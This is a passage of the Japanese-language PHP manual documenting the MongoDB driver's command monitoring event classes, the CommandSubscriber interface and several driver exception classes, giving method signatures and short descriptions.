MongoDB\Driver\Monitoring\CommandFailedEvent::getServer

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandFailedEvent::getServer — Returns the Server on which the command was executed

説明

final public MongoDB\Driver\Monitoring\CommandFailedEvent::getServer ( ) : MongoDB\Driver\Server

Returns the MongoDB\Driver\Server on which the command was executed.

パラメータ

この関数にはパラメータはありません。

返り値

Returns the MongoDB\Driver\Server on which the command was executed.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • MongoDB\Driver\Monitoring\CommandStartedEvent::getServer() - Returns the Server on which the command was executed
  • Application Performance Monitoring (APM)

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Monitoring\CommandStartedEvent class

(mongodb >=1.3.0)

はじめに

The MongoDB\Driver\Monitoring\CommandStartedEvent class encapsulates information about a started command.

クラス概要

final MongoDB\Driver\Monitoring\CommandStartedEvent {
/* メソッド */
final public getCommand ( ) : object
final public getCommandName ( ) : string
final public getDatabaseName ( ) : string
final public getOperationId ( ) : string
final public getRequestId ( ) : string
final public getServer ( ) : MongoDB\Driver\Server
}

目次

  • MongoDB\Driver\Monitoring\CommandStartedEvent::getCommand — Returns the command document
  • MongoDB\Driver\Monitoring\CommandStartedEvent::getCommandName — Returns the command name
  • MongoDB\Driver\Monitoring\CommandStartedEvent::getDatabaseName — Returns the database on which the command was executed
  • MongoDB\Driver\Monitoring\CommandStartedEvent::getOperationId — Returns the command's operation ID
  • MongoDB\Driver\Monitoring\CommandStartedEvent::getRequestId — Returns the command's request ID
  • MongoDB\Driver\Monitoring\CommandStartedEvent::getServer — Returns the Server on which the command was executed

User Contributed Notes

There are no user contributed notes for this page.


Returns the command document

  • ≪ MongoDB\Driver\Monitoring\CommandStartedEvent
  • MongoDB\Driver\Monitoring\CommandStartedEvent::getCommandName ≫
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandStartedEvent
  • Returns the command document

MongoDB\Driver\Monitoring\CommandStartedEvent::getCommand

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandStartedEvent::getCommand — Returns the command document

説明

final public MongoDB\Driver\Monitoring\CommandStartedEvent::getCommand ( ) : object

The reply document will be converted from BSON to PHP using the default deserialization rules (e.g. BSON documents will be converted to stdClass).

パラメータ

この関数にはパラメータはありません。

返り値

Returns the command document as a stdClass object.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • Application Performance Monitoring (APM)
  • Persisting Data

User Contributed Notes

There are no user contributed notes for this page.


Returns the command name

  • ≪ MongoDB\Driver\Monitoring\CommandStartedEvent::getCommand
  • MongoDB\Driver\Monitoring\CommandStartedEvent::getDatabaseName ≫
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandStartedEvent
  • Returns the command name

MongoDB\Driver\Monitoring\CommandStartedEvent::getCommandName

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandStartedEvent::getCommandName — Returns the command name

説明

final public MongoDB\Driver\Monitoring\CommandStartedEvent::getCommandName ( ) : string

Returns the command name (e.g. "find", "aggregate").

パラメータ

この関数にはパラメータはありません。

返り値

Returns the command name.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • Application Performance Monitoring (APM)

User Contributed Notes

There are no user contributed notes for this page.


Returns the database on which the command was executed

  • ≪ MongoDB\Driver\Monitoring\CommandStartedEvent::getCommandName
  • MongoDB\Driver\Monitoring\CommandStartedEvent::getOperationId ≫
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandStartedEvent
  • Returns the database on which the command was executed

MongoDB\Driver\Monitoring\CommandStartedEvent::getDatabaseName

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandStartedEvent::getDatabaseName — Returns the database on which the command was executed

説明

final public MongoDB\Driver\Monitoring\CommandStartedEvent::getDatabaseName ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

Returns the database on which the command was executed.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • Application Performance Monitoring (APM)

User Contributed Notes

There are no user contributed notes for this page.


Returns the command's operation ID

  • ≪ MongoDB\Driver\Monitoring\CommandStartedEvent::getDatabaseName
  • MongoDB\Driver\Monitoring\CommandStartedEvent::getRequestId ≫
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandStartedEvent
  • Returns the command's operation ID

MongoDB\Driver\Monitoring\CommandStartedEvent::getOperationId

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandStartedEvent::getOperationId — Returns the command's operation ID

説明

final public MongoDB\Driver\Monitoring\CommandStartedEvent::getOperationId ( ) : string

The operation ID is generated by the driver and may be used to link events together such as bulk write operations, which may have been split across several commands at the protocol level.

注意: Since multiple commands may share the same operation ID, it is not reliable to use this value to associate event objects with each other. The request ID returned by MongoDB\Driver\Monitoring\CommandStartedEvent::getRequestId() should be used instead.

パラメータ

この関数にはパラメータはありません。

返り値

Returns the command's operation ID.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • MongoDB\Driver\Monitoring\CommandFailedEvent::getOperationId() - Returns the command's operation ID
  • MongoDB\Driver\Monitoring\CommandSucceededEvent::getOperationId() - Returns the command's operation ID
  • MongoDB\Driver\Monitoring\CommandStartedEvent::getRequestId() - Returns the command's request ID
  • Application Performance Monitoring (APM)

User Contributed Notes

There are no user contributed notes for this page.


Returns the command's request ID

  • ≪ MongoDB\Driver\Monitoring\CommandStartedEvent::getOperationId
  • MongoDB\Driver\Monitoring\CommandStartedEvent::getServer ≫
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandStartedEvent
  • Returns the command's request ID

MongoDB\Driver\Monitoring\CommandStartedEvent::getRequestId

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandStartedEvent::getRequestId — Returns the command's request ID

説明

final public MongoDB\Driver\Monitoring\CommandStartedEvent::getRequestId ( ) : string

The request ID is generated by the driver and may be used to associate this MongoDB\Driver\Monitoring\CommandStartedEvent with a later MongoDB\Driver\Monitoring\CommandFailedEvent or MongoDB\Driver\Monitoring\CommandSucceededEvent.

パラメータ

この関数にはパラメータはありません。

返り値

Returns the command's request ID.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • MongoDB\Driver\Monitoring\CommandFailedEvent::getRequestId() - Returns the command's request ID
  • MongoDB\Driver\Monitoring\CommandSucceededEvent::getRequestId() - Returns the command's request ID
  • Application Performance Monitoring (APM)

User Contributed Notes

There are no user contributed notes for this page.


Returns the Server on which the command was executed

  • ≪ MongoDB\Driver\Monitoring\CommandStartedEvent::getRequestId
  • MongoDB\Driver\Monitoring\CommandSucceededEvent ≫
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandStartedEvent
  • Returns the Server on which the command was executed

MongoDB\Driver\Monitoring\CommandStartedEvent::getServer

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandStartedEvent::getServer — Returns the Server on which the command was executed

説明

final public MongoDB\Driver\Monitoring\CommandStartedEvent::getServer ( ) : MongoDB\Driver\Server

Returns the MongoDB\Driver\Server on which the command was executed.

パラメータ

この関数にはパラメータはありません。

返り値

Returns the MongoDB\Driver\Server on which the command was executed.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • MongoDB\Driver\Monitoring\CommandFailedEvent::getServer() - Returns the Server on which the command was executed
  • MongoDB\Driver\Monitoring\CommandSucceededEvent::getServer() - Returns the Server on which the command was executed
  • Application Performance Monitoring (APM)

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Monitoring\CommandSucceededEvent class

(mongodb >=1.3.0)

はじめに

The MongoDB\Driver\Monitoring\CommandSucceededEvent class encapsulates information about a successful command.

クラス概要

final MongoDB\Driver\Monitoring\CommandSucceededEvent {
/* メソッド */
final public getCommandName ( ) : string
final public getDurationMicros ( ) : int
final public getOperationId ( ) : string
final public getReply ( ) : object
final public getRequestId ( ) : string
final public getServer ( ) : MongoDB\Driver\Server
}

目次

  • MongoDB\Driver\Monitoring\CommandSucceededEvent::getCommandName — Returns the command name
  • MongoDB\Driver\Monitoring\CommandSucceededEvent::getDurationMicros — Returns the command's duration in microseconds
  • MongoDB\Driver\Monitoring\CommandSucceededEvent::getOperationId — Returns the command's operation ID
  • MongoDB\Driver\Monitoring\CommandSucceededEvent::getReply — Returns the command reply document
  • MongoDB\Driver\Monitoring\CommandSucceededEvent::getRequestId — Returns the command's request ID
  • MongoDB\Driver\Monitoring\CommandSucceededEvent::getServer — Returns the Server on which the command was executed

User Contributed Notes

There are no user contributed notes for this page.


Returns the command name

  • ≪ MongoDB\Driver\Monitoring\CommandSucceededEvent
  • MongoDB\Driver\Monitoring\CommandSucceededEvent::getDurationMicros ≫
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandSucceededEvent
  • Returns the command name

MongoDB\Driver\Monitoring\CommandSucceededEvent::getCommandName

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandSucceededEvent::getCommandName — Returns the command name

説明

final public MongoDB\Driver\Monitoring\CommandSucceededEvent::getCommandName ( ) : string

Returns the command name (e.g. "find", "aggregate").

パラメータ

この関数にはパラメータはありません。

返り値

Returns the command name.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • Application Performance Monitoring (APM)

User Contributed Notes

There are no user contributed notes for this page.


Returns the command's duration in microseconds

  • ≪ MongoDB\Driver\Monitoring\CommandSucceededEvent::getCommandName
  • MongoDB\Driver\Monitoring\CommandSucceededEvent::getOperationId ≫
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandSucceededEvent
  • Returns the command's duration in microseconds

MongoDB\Driver\Monitoring\CommandSucceededEvent::getDurationMicros

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandSucceededEvent::getDurationMicros — Returns the command's duration in microseconds

説明

final public MongoDB\Driver\Monitoring\CommandSucceededEvent::getDurationMicros ( ) : int

The command's duration is a calculated value that includes the time to send the message and receive the reply from the server.

パラメータ

この関数にはパラメータはありません。

返り値

Returns the command's duration in microseconds.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • Application Performance Monitoring (APM)

User Contributed Notes

There are no user contributed notes for this page.


Returns the command's operation ID

  • ≪ MongoDB\Driver\Monitoring\CommandSucceededEvent::getDurationMicros
  • MongoDB\Driver\Monitoring\CommandSucceededEvent::getReply ≫
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandSucceededEvent
  • Returns the command's operation ID

MongoDB\Driver\Monitoring\CommandSucceededEvent::getOperationId

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandSucceededEvent::getOperationId — Returns the command's operation ID

説明

final public MongoDB\Driver\Monitoring\CommandSucceededEvent::getOperationId ( ) : string

The operation ID is generated by the driver and may be used to link events together such as bulk write operations, which may have been split across several commands at the protocol level.

注意: Since multiple commands may share the same operation ID, it is not reliable to use this value to associate event objects with each other. The request ID returned by MongoDB\Driver\Monitoring\CommandSucceededEvent::getRequestId() should be used instead.

パラメータ

この関数にはパラメータはありません。

返り値

Returns the command's operation ID.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • MongoDB\Driver\Monitoring\CommandStartedEvent::getOperationId() - Returns the command's operation ID
  • MongoDB\Driver\Monitoring\CommandSucceededEvent::getRequestId() - Returns the command's request ID
  • Application Performance Monitoring (APM)

User Contributed Notes

There are no user contributed notes for this page.


Returns the command reply document

  • ≪ MongoDB\Driver\Monitoring\CommandSucceededEvent::getOperationId
  • MongoDB\Driver\Monitoring\CommandSucceededEvent::getRequestId ≫
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandSucceededEvent
  • Returns the command reply document

MongoDB\Driver\Monitoring\CommandSucceededEvent::getReply

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandSucceededEvent::getReply — Returns the command reply document

説明

final public MongoDB\Driver\Monitoring\CommandSucceededEvent::getReply ( ) : object

The reply document will be converted from BSON to PHP using the default deserialization rules (e.g. BSON documents will be converted to stdClass).

パラメータ

この関数にはパラメータはありません。

返り値

Returns the command reply document as a stdClass object.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • Application Performance Monitoring (APM)
  • Persisting Data

User Contributed Notes

There are no user contributed notes for this page.


Returns the command's request ID

  • ≪ MongoDB\Driver\Monitoring\CommandSucceededEvent::getReply
  • MongoDB\Driver\Monitoring\CommandSucceededEvent::getServer ≫
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandSucceededEvent
  • Returns the command's request ID

MongoDB\Driver\Monitoring\CommandSucceededEvent::getRequestId

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandSucceededEvent::getRequestId — Returns the command's request ID

説明

final public MongoDB\Driver\Monitoring\CommandSucceededEvent::getRequestId ( ) : string

The request ID is generated by the driver and may be used to associate this MongoDB\Driver\Monitoring\CommandSucceededEvent with a previous MongoDB\Driver\Monitoring\CommandStartedEvent.

パラメータ

この関数にはパラメータはありません。

返り値

Returns the command's request ID.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • MongoDB\Driver\Monitoring\CommandStartedEvent::getRequestId() - Returns the command's request ID
  • Application Performance Monitoring (APM)

User Contributed Notes

There are no user contributed notes for this page.


Returns the Server on which the command was executed

  • ≪ MongoDB\Driver\Monitoring\CommandSucceededEvent::getRequestId
  • MongoDB\Driver\Monitoring\CommandSubscriber ≫
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandSucceededEvent
  • Returns the Server on which the command was executed

MongoDB\Driver\Monitoring\CommandSucceededEvent::getServer

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandSucceededEvent::getServer — Returns the Server on which the command was executed

説明

final public MongoDB\Driver\Monitoring\CommandSucceededEvent::getServer ( ) : MongoDB\Driver\Server

Returns the MongoDB\Driver\Server on which the command was executed.

パラメータ

この関数にはパラメータはありません。

返り値

Returns the MongoDB\Driver\Server on which the command was executed.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • MongoDB\Driver\Monitoring\CommandStartedEvent::getServer() - Returns the Server on which the command was executed
  • MongoDB\Driver\Cursor::getServer() - Returns the server associated with this cursor
  • MongoDB\Driver\WriteResult::getServer() - Returns the server associated with this write result
  • Application Performance Monitoring (APM)

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Monitoring\CommandSubscriber interface

(mongodb >=1.3.0)

はじめに

Classes may implement this interface to register an event subscriber that is notified for each started, successful, and failed command event. See Application Performance Monitoring (APM) for additional information.

インターフェイス概要

MongoDB\Driver\Monitoring\CommandSubscriber implements MongoDB\Driver\Monitoring\Subscriber {
/* メソッド */
abstract public commandFailed ( MongoDB\Driver\Monitoring\CommandFailedEvent $event ) : void
abstract public commandStarted ( MongoDB\Driver\Monitoring\CommandStartedEvent $event ) : void
abstract public commandSucceeded ( MongoDB\Driver\Monitoring\CommandSucceededEvent $event ) : void
}

目次

  • MongoDB\Driver\Monitoring\CommandSubscriber::commandFailed — Notification method for a failed command
  • MongoDB\Driver\Monitoring\CommandSubscriber::commandStarted — Notification method for a started command
  • MongoDB\Driver\Monitoring\CommandSubscriber::commandSucceeded — Notification method for a successful command

User Contributed Notes

There are no user contributed notes for this page.


Notification method for a failed command

  • ≪ MongoDB\Driver\Monitoring\CommandSubscriber
  • MongoDB\Driver\Monitoring\CommandSubscriber::commandStarted ≫
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandSubscriber
  • Notification method for a failed command

MongoDB\Driver\Monitoring\CommandSubscriber::commandFailed

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandSubscriber::commandFailed — Notification method for a failed command

説明

abstract public MongoDB\Driver\Monitoring\CommandSubscriber::commandFailed ( MongoDB\Driver\Monitoring\CommandFailedEvent $event ) : void

If the subscriber has been registered with MongoDB\Driver\Monitoring\addSubscriber(), the driver will call this method when a command has failed.

パラメータ

event (MongoDB\Driver\Monitoring\CommandFailedEvent)

An event object encapsulating information about the failed command.

返り値

値を返しません。

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • MongoDB\Driver\Monitoring\CommandFailedEvent
  • MongoDB\Driver\Monitoring\addSubscriber() - Registers a new monitoring event subscriber
  • Application Performance Monitoring (APM)

User Contributed Notes

There are no user contributed notes for this page.


Notification method for a started command

  • ≪ MongoDB\Driver\Monitoring\CommandSubscriber::commandFailed
  • MongoDB\Driver\Monitoring\CommandSubscriber::commandSucceeded ≫
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandSubscriber
  • Notification method for a started command

MongoDB\Driver\Monitoring\CommandSubscriber::commandStarted

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandSubscriber::commandStarted — Notification method for a started command

説明

abstract public MongoDB\Driver\Monitoring\CommandSubscriber::commandStarted ( MongoDB\Driver\Monitoring\CommandStartedEvent $event ) : void

If the subscriber has been registered with MongoDB\Driver\Monitoring\addSubscriber(), the driver will call this method when a command has started.

パラメータ

event (MongoDB\Driver\Monitoring\CommandStartedEvent)

An event object encapsulating information about the started command.

返り値

値を返しません。

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • MongoDB\Driver\Monitoring\CommandStartedEvent
  • MongoDB\Driver\Monitoring\addSubscriber() - Registers a new monitoring event subscriber
  • Application Performance Monitoring (APM)

User Contributed Notes

There are no user contributed notes for this page.


Notification method for a successful command

  • ≪ MongoDB\Driver\Monitoring\CommandSubscriber::commandStarted
  • MongoDB\Driver\Monitoring\Subscriber ≫
  • PHP Manual
  • MongoDB\Driver\Monitoring\CommandSubscriber
  • Notification method for a successful command

MongoDB\Driver\Monitoring\CommandSubscriber::commandSucceeded

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\CommandSubscriber::commandSucceeded — Notification method for a successful command

説明

abstract public MongoDB\Driver\Monitoring\CommandSubscriber::commandSucceeded ( MongoDB\Driver\Monitoring\CommandSucceededEvent $event ) : void

If the subscriber has been registered with MongoDB\Driver\Monitoring\addSubscriber(), the driver will call this method when a command has succeeded.

パラメータ

event (MongoDB\Driver\Monitoring\CommandSucceededEvent)

An event object encapsulating information about the successful command.

返り値

値を返しません。

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • MongoDB\Driver\Monitoring\CommandSucceededEvent
  • MongoDB\Driver\Monitoring\addSubscriber() - Registers a new monitoring event subscriber
  • Application Performance Monitoring (APM)

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Monitoring\Subscriber interface

(mongodb >=1.3.0)

はじめに

Base interface for event subscribers. This is used for type-hinting MongoDB\Driver\Monitoring\addSubscriber() and MongoDB\Driver\Monitoring\removeSubscriber() and should not be implemented directly.

インターフェイス概要

MongoDB\Driver\Monitoring\Subscriber {
}

This interface has no methods. Its only purpose is to be the base interface for all event subscribers.

User Contributed Notes

There are no user contributed notes for this page.


Exception classes

  • MongoDB\Driver\Exception\AuthenticationException — The MongoDB\Driver\Exception\AuthenticationException class
  • MongoDB\Driver\Exception\BulkWriteException — The MongoDB\Driver\Exception\BulkWriteException class
  • MongoDB\Driver\Exception\CommandException — The MongoDB\Driver\Exception\CommandException class
    • MongoDB\Driver\Exception\CommandException::getResultDocument — Returns the result document for the failed command
  • MongoDB\Driver\Exception\ConnectionException — The MongoDB\Driver\Exception\ConnectionException class
  • MongoDB\Driver\Exception\ConnectionTimeoutException — The MongoDB\Driver\Exception\ConnectionTimeoutException class
  • MongoDB\Driver\Exception\EncryptionException — The MongoDB\Driver\Exception\EncryptionException class
  • MongoDB\Driver\Exception\Exception — The MongoDB\Driver\Exception\Exception interface
  • MongoDB\Driver\Exception\ExecutionTimeoutException — The MongoDB\Driver\Exception\ExecutionTimeoutException class
  • MongoDB\Driver\Exception\InvalidArgumentException — The MongoDB\Driver\Exception\InvalidArgumentException class
  • MongoDB\Driver\Exception\LogicException — The MongoDB\Driver\Exception\LogicException class
  • MongoDB\Driver\Exception\RuntimeException — The MongoDB\Driver\Exception\RuntimeException class
    • MongoDB\Driver\Exception\RuntimeException::hasErrorLabel — Returns whether an error label is associated with an exception
  • MongoDB\Driver\Exception\ServerException — The MongoDB\Driver\Exception\ServerException class
  • MongoDB\Driver\Exception\SSLConnectionException — The MongoDB\Driver\Exception\SSLConnectionException class (deprecated)
  • MongoDB\Driver\Exception\UnexpectedValueException — The MongoDB\Driver\Exception\UnexpectedValueException class
  • MongoDB\Driver\Exception\WriteException — The MongoDB\Driver\Exception\WriteException class
    • MongoDB\Driver\Exception\WriteException::getWriteResult — Returns the WriteResult for the failed write operation
  • Class Tree — MongoDB Exception Class Tree

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Exception\AuthenticationException class

(mongodb >= 1.0.0)

はじめに

Thrown when the driver fails to authenticate with the server.

クラス概要

MongoDB\Driver\Exception\AuthenticationException extends MongoDB\Driver\Exception\ConnectionException implements MongoDB\Driver\Exception\Exception {
/* 継承したプロパティ */
protected array|null $errorLabels ;
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
final public MongoDB\Driver\Exception\RuntimeException::hasErrorLabel ( string $errorLabel ) : bool
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Exception\BulkWriteException class

(mongodb >= 1.0.0)

はじめに

Thrown when a bulk write operation fails.

クラス概要

MongoDB\Driver\Exception\BulkWriteException extends MongoDB\Driver\Exception\WriteException implements MongoDB\Driver\Exception\Exception {
/* 継承したプロパティ */
protected MongoDB\Driver\WriteResult $writeResult ;
protected array|null $errorLabels ;
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
final public MongoDB\Driver\Exception\WriteException::getWriteResult ( ) : MongoDB\Driver\WriteResult
final public MongoDB\Driver\Exception\RuntimeException::hasErrorLabel ( string $errorLabel ) : bool
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Exception\CommandException class

(mongodb >= 1.5.0)

はじめに

Thrown when a command fails.

クラス概要

MongoDB\Driver\Exception\CommandException extends MongoDB\Driver\Exception\ServerException implements MongoDB\Driver\Exception\Exception {
/* プロパティ */
protected object $resultDocument ;
/* 継承したプロパティ */
protected array|null $errorLabels ;
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* メソッド */
final public getResultDocument ( ) : object
/* 継承したメソッド */
final public MongoDB\Driver\Exception\RuntimeException::hasErrorLabel ( string $errorLabel ) : bool
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

プロパティ

resultDocument

The result document associated with the failed command.

目次

  • MongoDB\Driver\Exception\CommandException::getResultDocument — Returns the result document for the failed command

User Contributed Notes

There are no user contributed notes for this page.


Returns the result document for the failed command

  • ≪ MongoDB\Driver\Exception\CommandException
  • MongoDB\Driver\Exception\ConnectionException ≫
  • PHP Manual
  • MongoDB\Driver\Exception\CommandException
  • Returns the result document for the failed command

MongoDB\Driver\Exception\CommandException::getResultDocument

(mongodb >= 1.5.0)

MongoDB\Driver\Exception\CommandException::getResultDocument — Returns the result document for the failed command

説明

final public MongoDB\Driver\Exception\CommandException::getResultDocument ( ) : object

Returns the result document for the failed command.

パラメータ

この関数にはパラメータはありません。

返り値

The result document for the failed command.

参考

  • MongoDB\Driver\Manager::executeCommand() - Execute a database command

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Exception\ConnectionException class

(mongodb >= 1.0.0)

はじめに

Base class for exceptions thrown when the driver fails to establish a database connection.

クラス概要

MongoDB\Driver\Exception\ConnectionException extends MongoDB\Driver\Exception\RuntimeException implements MongoDB\Driver\Exception\Exception {
/* 継承したプロパティ */
protected array|null $errorLabels ;
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
final public MongoDB\Driver\Exception\RuntimeException::hasErrorLabel ( string $errorLabel ) : bool
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Exception\ConnectionTimeoutException class

(mongodb >= 1.0.0)

はじめに

Thrown when the driver fails to establish a database connection within a specified time limit (connectTimeoutMS) or server selection fails (serverSelectionTimeoutMS).

クラス概要

final MongoDB\Driver\Exception\ConnectionTimeoutException extends MongoDB\Driver\Exception\ConnectionException implements MongoDB\Driver\Exception\Exception {
/* 継承したプロパティ */
protected array|null $errorLabels ;
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
final public MongoDB\Driver\Exception\RuntimeException::hasErrorLabel ( string $errorLabel ) : bool
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Exception\EncryptionException class

(mongodb >= 1.7.0)

はじめに

Base class for exceptions thrown during client-side encryption.

クラス概要

MongoDB\Driver\Exception\EncryptionException extends MongoDB\Driver\Exception\RuntimeException implements MongoDB\Driver\Exception\Exception {
/* 継承したプロパティ */
protected array|null $errorLabels ;
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
final public MongoDB\Driver\Exception\RuntimeException::hasErrorLabel ( string $errorLabel ) : bool
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Exception\Exception interface

(mongodb >= 1.0.0)

はじめに

Common interface for all driver exceptions. This may be used to catch only exceptions originating from the driver itself.

クラス概要

MongoDB\Driver\Exception\Exception {
}

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Exception\ExecutionTimeoutException class

(mongodb >= 1.0.0)

はじめに

Thrown when a query or command fails to complete within a specified time limit (e.g. » maxTimeMS).

クラス概要

final MongoDB\Driver\Exception\ExecutionTimeoutException extends MongoDB\Driver\Exception\ServerException implements MongoDB\Driver\Exception\Exception {
/* 継承したプロパティ */
protected array|null $errorLabels ;
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
final public MongoDB\Driver\Exception\RuntimeException::hasErrorLabel ( string $errorLabel ) : bool
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

変更履歴

バージョン | 説明
PECL mongodb 1.5.0 | This class now extends MongoDB\Driver\Exception\ServerException instead of MongoDB\Driver\Exception\RuntimeException.

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Exception\InvalidArgumentException class

(mongodb >= 1.0.0)

はじめに

Thrown when a driver method is given invalid arguments (e.g. invalid option types).

クラス概要

MongoDB\Driver\Exception\InvalidArgumentException extends InvalidArgumentException implements MongoDB\Driver\Exception\Exception {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Exception\LogicException class

(mongodb >= 1.0.0)

はじめに

Thrown when the driver is incorrectly used (e.g. rewinding a cursor).

クラス概要

